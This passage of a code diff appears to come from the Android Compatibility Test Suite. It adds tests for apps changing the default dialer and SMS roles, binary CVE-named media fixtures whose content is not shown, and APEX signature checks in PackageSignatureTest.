+        target.setTimeSpentScore(0.1f);
+        assertThat(target.getTimeSpentScore(), is(0.1f));
+    }
+
+    @Test
+    public void sanityCheckParcelability() throws Exception {
+        ResolverTarget target = new ResolverTarget();
+
+        target.setChooserScore(1.0f);
+        target.setLaunchScore(0.5f);
+        target.setRecencyScore(0.3f);
+        target.setSelectProbability(0.2f);
+        target.setTimeSpentScore(0.1f);
+
+        Parcel parcel = Parcel.obtain();
+        target.writeToParcel(parcel, 0 /*flags*/);
+        parcel.setDataPosition(0);
+        ResolverTarget fromParcel = ResolverTarget.CREATOR.createFromParcel(parcel);
+
+        assertThat(fromParcel.getChooserScore(), is(1.0f));
+        assertThat(fromParcel.getLaunchScore(), is(0.5f));
+        assertThat(fromParcel.getRecencyScore(), is(0.3f));
+        assertThat(fromParcel.getSelectProbability(), is(0.2f));
+        assertThat(fromParcel.getTimeSpentScore(), is(0.1f));
+    }
+}
diff --git a/tests/tests/role/AndroidTest.xml b/tests/tests/role/AndroidTest.xml
index e309746..cf4b1d3 100644
--- a/tests/tests/role/AndroidTest.xml
+++ b/tests/tests/role/AndroidTest.xml
@@ -35,6 +35,7 @@
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsRoleTestApp.apk->/data/local/tmp/cts/role/CtsRoleTestApp.apk" />
+        <option name="push" value="CtsRoleTestApp28.apk->/data/local/tmp/cts/role/CtsRoleTestApp28.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
index 4ae5d5a..f1829f6 100644
--- a/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
+++ b/tests/tests/role/CtsRoleTestApp/AndroidManifest.xml
@@ -30,6 +30,14 @@
             android:name=".IsRoleHeldActivity"
             android:exported="true" />
 
+        <activity
+            android:name=".ChangeDefaultDialerActivity"
+            android:exported="true" />
+
+        <activity
+            android:name=".ChangeDefaultSmsActivity"
+            android:exported="true" />
+
         <!-- Dialer -->
         <activity android:name=".DialerDialActivity">
             <intent-filter>
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java
new file mode 100644
index 0000000..89cafa0
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultDialerActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.TelecomManager;
+
+/**
+ * An activity that tries to change the default dialer app.
+ */
+public class ChangeDefaultDialerActivity extends Activity {
+
+    private static final int REQUEST_CODE_CHANGE_DEFAULT_DIALER = 1;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState == null) {
+            String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+            Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER)
+                    .putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME, packageName);
+            startActivityForResult(intent, REQUEST_CODE_CHANGE_DEFAULT_DIALER);
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE_CHANGE_DEFAULT_DIALER) {
+            setResult(resultCode, data);
+            finish();
+        } else {
+            super.onActivityResult(requestCode, resultCode, data);
+        }
+    }
+}
diff --git a/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java
new file mode 100644
index 0000000..00559bf
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp/src/android/app/role/cts/app/ChangeDefaultSmsActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Telephony;
+
+/**
+ * An activity that tries to change the default SMS app.
+ */
+public class ChangeDefaultSmsActivity extends Activity {
+
+    private static final int REQUEST_CODE_CHANGE_DEFAULT_SMS = 1;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState == null) {
+            String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+            Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT)
+                    .putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, packageName);
+            startActivityForResult(intent, REQUEST_CODE_CHANGE_DEFAULT_SMS);
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE_CHANGE_DEFAULT_SMS) {
+            setResult(resultCode, data);
+            finish();
+        } else {
+            super.onActivityResult(requestCode, resultCode, data);
+        }
+    }
+}
diff --git a/tests/tests/role/CtsRoleTestApp28/Android.bp b/tests/tests/role/CtsRoleTestApp28/Android.bp
new file mode 100644
index 0000000..0d89f4e
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsRoleTestApp28",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.java"
+    ],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ]
+}
diff --git a/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
new file mode 100644
index 0000000..8fd7012
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/AndroidManifest.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.role.cts.app28">
+
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28"/>
+
+    <application
+        android:label="CtsRoleTestApp28">
+
+        <activity
+            android:name=".ChangeDefaultDialerActivity"
+            android:exported="true" />
+
+        <activity
+            android:name=".ChangeDefaultSmsActivity"
+            android:exported="true" />
+
+        <!-- Dialer -->
+        <activity android:name=".DialerDialActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="tel" />
+            </intent-filter>
+        </activity>
+
+        <!-- Sms -->
+        <activity android:name=".SmsSendToActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.SENDTO" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="smsto" />
+            </intent-filter>
+        </activity>
+        <service
+            android:name=".SmsRespondViaMessageService"
+            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
+            <intent-filter>
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:scheme="smsto" />
+            </intent-filter>
+        </service>
+        <receiver
+            android:name=".SmsDelieverReceiver"
+            android:permission="android.permission.BROADCAST_SMS">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+            </intent-filter>
+        </receiver>
+        <receiver
+            android:name=".SmsWapPushDelieverReceiver"
+            android:permission="android.permission.BROADCAST_WAP_PUSH">
+            <intent-filter>
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
+                <data android:mimeType="application/vnd.wap.mms-message" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java
new file mode 100644
index 0000000..5d1c47c
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultDialerActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+*
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app28;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.telecom.TelecomManager;
+
+/**
+ * An activity that tries to change the default dialer app.
+ */
+public class ChangeDefaultDialerActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState == null) {
+            String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+            Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER)
+                    .putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME, packageName);
+            startActivity(intent);
+        }
+    }
+}
diff --git a/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java
new file mode 100644
index 0000000..37819bb
--- /dev/null
+++ b/tests/tests/role/CtsRoleTestApp28/src/android/app/role/cts/app28/ChangeDefaultSmsActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.role.cts.app28;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Telephony;
+import android.telecom.TelecomManager;
+
+/**
+ * An activity that tries to change the default SMS app.
+ */
+public class ChangeDefaultSmsActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        if (savedInstanceState == null) {
+            String packageName = getIntent().getStringExtra(Intent.EXTRA_PACKAGE_NAME);
+            Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT)
+                    .putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, packageName);
+            startActivity(intent);
+        }
+    }
+}
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 736e501..0da6988 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -35,10 +35,12 @@
 import android.content.pm.PermissionInfo;
 import android.os.Process;
 import android.os.UserHandle;
+import android.provider.Telephony;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
+import android.telecom.TelecomManager;
 import android.util.Log;
 import android.util.Pair;
 
@@ -50,6 +52,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AppOpsUtils;
+import com.android.compatibility.common.util.TestUtils;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
 import org.junit.After;
@@ -91,6 +94,18 @@
             + ".extra.IS_ROLE_HELD";
     private static final String APP_REQUEST_ROLE_ACTIVITY_NAME = APP_PACKAGE_NAME
             + ".RequestRoleActivity";
+    private static final String APP_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME = APP_PACKAGE_NAME
+            + ".ChangeDefaultDialerActivity";
+    private static final String APP_CHANGE_DEFAULT_SMS_ACTIVITY_NAME = APP_PACKAGE_NAME
+            + ".ChangeDefaultSmsActivity";
+
+    private static final String APP_28_APK_PATH = "/data/local/tmp/cts/role/CtsRoleTestApp28.apk";
+    private static final String APP_28_PACKAGE_NAME = "android.app.role.cts.app28";
+    private static final String APP_28_LABEL = "CtsRoleTestApp28";
+    private static final String APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME = APP_28_PACKAGE_NAME
+            + ".ChangeDefaultDialerActivity";
+    private static final String APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME = APP_28_PACKAGE_NAME
+            + ".ChangeDefaultSmsActivity";
 
     private static final String PERMISSION_MANAGE_ROLES_FROM_CONTROLLER =
             "com.android.permissioncontroller.permission.MANAGE_ROLES_FROM_CONTROLLER";
@@ -107,7 +122,6 @@
             new ActivityTestRule<>(WaitForResultActivity.class);
 
     private String mRoleHolder;
-    private int mCurrentUserId;
 
     @Before
     public void saveRoleHolder() throws Exception {
@@ -133,13 +147,14 @@
 
     @Before
     public void installApp() throws Exception {
-        mCurrentUserId = Process.myUserHandle().getIdentifier();
         installPackage(APP_APK_PATH);
+        installPackage(APP_28_APK_PATH);
     }
 
     @After
     public void uninstallApp() throws Exception {
         uninstallPackage(APP_PACKAGE_NAME);
+        uninstallPackage(APP_28_PACKAGE_NAME);
     }
 
     @Before
@@ -354,15 +369,83 @@
     }
 
     private void clearPackageData(@NonNull String packageName) {
-        runShellCommand("pm clear --user " + mCurrentUserId + " " + packageName);
+        runShellCommand("pm clear --user " + Process.myUserHandle().getIdentifier() + " "
+                + packageName);
     }
 
     private void installPackage(@NonNull String apkPath) {
-        runShellCommand("pm install -r --user " + mCurrentUserId + " " + apkPath);
+        runShellCommand("pm install -r --user " + Process.myUserHandle().getIdentifier() + " "
+                + apkPath);
     }
 
     private void uninstallPackage(@NonNull String packageName) {
-        runShellCommand("pm uninstall --user " + mCurrentUserId + " " + packageName);
+        runShellCommand("pm uninstall --user " + Process.myUserHandle().getIdentifier() + " "
+                + packageName);
+    }
+
+    @Test
+    public void targetCurrentSdkAndChangeDefaultDialerThenIsCanceled() throws Exception {
+        WaitForResultActivity activity = mActivityRule.getActivity();
+        activity.startActivityToWaitForResult(new Intent()
+                .setComponent(new ComponentName(APP_PACKAGE_NAME,
+                        APP_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
+                .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_PACKAGE_NAME));
+        Pair<Integer, Intent> result = activity.waitForActivityResult(TIMEOUT_MILLIS);
+        assertThat(result.first).isEqualTo(Activity.RESULT_CANCELED);
+    }
+
+    @Test
+    public void targetCurrentSdkAndChangeDefaultSmsThenIsCanceled() throws Exception {
+        WaitForResultActivity activity = mActivityRule.getActivity();
+        activity.startActivityToWaitForResult(new Intent()
+                .setComponent(new ComponentName(APP_PACKAGE_NAME,
+                        APP_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
+                .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_PACKAGE_NAME));
+        Pair<Integer, Intent> result = activity.waitForActivityResult(TIMEOUT_MILLIS);
+        assertThat(result.first).isEqualTo(Activity.RESULT_CANCELED);
+    }
+
+    @FlakyTest
+    @Test
+    public void targetSdk28AndChangeDefaultDialerAndAllowThenIsDefaultDialer() throws Exception {
+        sContext.startActivity(new Intent()
+                .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
+                        APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
+                .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+        allowRoleRequestForApp28();
+        TelecomManager telecomManager = sContext.getSystemService(TelecomManager.class);
+        TestUtils.waitUntil("App is not set as default dialer app", () -> Objects.equals(
+                telecomManager.getDefaultDialerPackage(), APP_28_PACKAGE_NAME));
+    }
+
+    @FlakyTest
+    @Test
+    public void targetSdk28AndChangeDefaultSmsAndAllowThenIsDefaultSms() throws Exception {
+        sContext.startActivity(new Intent()
+                .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
+                        APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
+                .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+        allowRoleRequestForApp28();
+        TestUtils.waitUntil("App is not set as default sms app", () -> Objects.equals(
+                Telephony.Sms.getDefaultSmsPackage(sContext), APP_28_PACKAGE_NAME));
+    }
+
+    private void allowRoleRequestForApp28() throws InterruptedException, IOException {
+        UiObject2 item = sUiDevice.wait(Until.findObject(By.text(APP_28_LABEL)), TIMEOUT_MILLIS);
+        if (item == null) {
+            dumpWindowHierarchy();
+            fail("Cannot find item to click");
+        }
+        item.click();
+        UiObject2 button = sUiDevice.wait(Until.findObject(By.res("android:id/button1")),
+                TIMEOUT_MILLIS);
+        if (button == null) {
+            dumpWindowHierarchy();
+            fail("Cannot find button to click");
+        }
+        button.click();
     }
 
     @Test
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index f4ae8a7..3d4498d 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -27,6 +27,7 @@
     ctstestserver \
     ctstestrunner-axt \
     compatibility-device-util-axt \
+    compatibility-common-util-devicesidelib \
     guava \
     platform-test-annotations
 
diff --git a/tests/tests/security/res/raw/bug_23285192.mp3 b/tests/tests/security/res/raw/bug_23285192.mp3
new file mode 100644
index 0000000..b86e4d8
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23285192.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_25928803.mp4 b/tests/tests/security/res/raw/bug_25928803.mp4
new file mode 100644
index 0000000..54d07d5
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_25928803.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_26399350_avc.mp4 b/tests/tests/security/res/raw/bug_26399350_avc.mp4
new file mode 100644
index 0000000..e6df897
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_26399350_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36279112.mp4 b/tests/tests/security/res/raw/bug_36279112.mp4
new file mode 100644
index 0000000..1a970ff
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36279112.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37203196_framelen.mp4 b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
new file mode 100644
index 0000000..223b756
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
@@ -0,0 +1,8 @@
+43
+3015
+2122
+1310
+1599
+4391
+3429
+15
diff --git a/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4 b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
new file mode 100644
index 0000000..1b59a7e
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
new file mode 100644
index 0000000..261e173
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
new file mode 100644
index 0000000..e8f1c41
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
new file mode 100644
index 0000000..ecc10cb
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
new file mode 100644
index 0000000..34851ad
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0640_avc.mp4 b/tests/tests/security/res/raw/cve_2017_0640_avc.mp4
new file mode 100644
index 0000000..71ed5dd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0640_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13318.mp4 b/tests/tests/security/res/raw/cve_2017_13318.mp4
new file mode 100644
index 0000000..7ab776b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13318.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_11287.mp4 b/tests/tests/security/res/raw/cve_2018_11287.mp4
new file mode 100644
index 0000000..796867b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_11287.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
new file mode 100644
index 0000000..67e87a1
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_conscrypt.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media.bin b/tests/tests/security/res/raw/sig_com_android_media.bin
new file mode 100644
index 0000000..d33cb3f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_media.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
new file mode 100644
index 0000000..8c663d4
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_media_swcodec.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_resolv.bin b/tests/tests/security/res/raw/sig_com_android_resolv.bin
new file mode 100644
index 0000000..cae337e
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_resolv.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
new file mode 100644
index 0000000..8248649
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_runtime_debug.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
new file mode 100644
index 0000000..55640d7
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_runtime_release.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
new file mode 100644
index 0000000..f4339e6
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_tzdata.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
new file mode 100644
index 0000000..e27820f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_conscrypt.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media.bin b/tests/tests/security/res/raw/sig_com_google_android_media.bin
new file mode 100644
index 0000000..1259311
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_media.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
new file mode 100644
index 0000000..0e72db7
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_media_swcodec.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_resolv.bin b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
new file mode 100644
index 0000000..f5de871
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_resolv.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
new file mode 100644
index 0000000..e28c489
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_runtime_debug.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
new file mode 100644
index 0000000..96c192c
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_runtime_release.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
new file mode 100644
index 0000000..abcc35f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_tzdata.bin
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 9ce81a8..1f4eba1 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -52,9 +52,11 @@
         PackageManager packageManager = mContext.getPackageManager();
         List<PackageInfo> allPackageInfos = packageManager.getInstalledPackages(
                 PackageManager.GET_UNINSTALLED_PACKAGES |
-                PackageManager.GET_SIGNATURES);
+                PackageManager.GET_SIGNATURES |
+                PackageManager.MATCH_APEX);
         for (PackageInfo packageInfo : allPackageInfos) {
             String packageName = packageInfo.packageName;
+            Log.v(TAG, "Scanning " + packageName);
             if (packageName != null && !isWhitelistedPackage(packageName)) {
                 for (Signature signature : packageInfo.signatures) {
                     if (wellKnownSignatures.contains(signature)) {
@@ -80,6 +82,20 @@
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_platform));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_shared));
         wellKnownSignatures.add(getSignature(R.raw.sig_devkeys_networkstack));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_conscrypt));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_media_swcodec));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_resolv));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_debug));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime_release));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_android_tzdata));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_conscrypt));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_media_swcodec));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
+        wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
         return wellKnownSignatures;
     }
 
diff --git a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
index 23253df..16f01eb 100644
--- a/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
+++ b/tests/tests/security/src/android/security/cts/SkiaICORecursiveDecodingTest.java
@@ -29,6 +29,11 @@
 @SecurityTest
 public class SkiaICORecursiveDecodingTest extends AndroidTestCase {
 
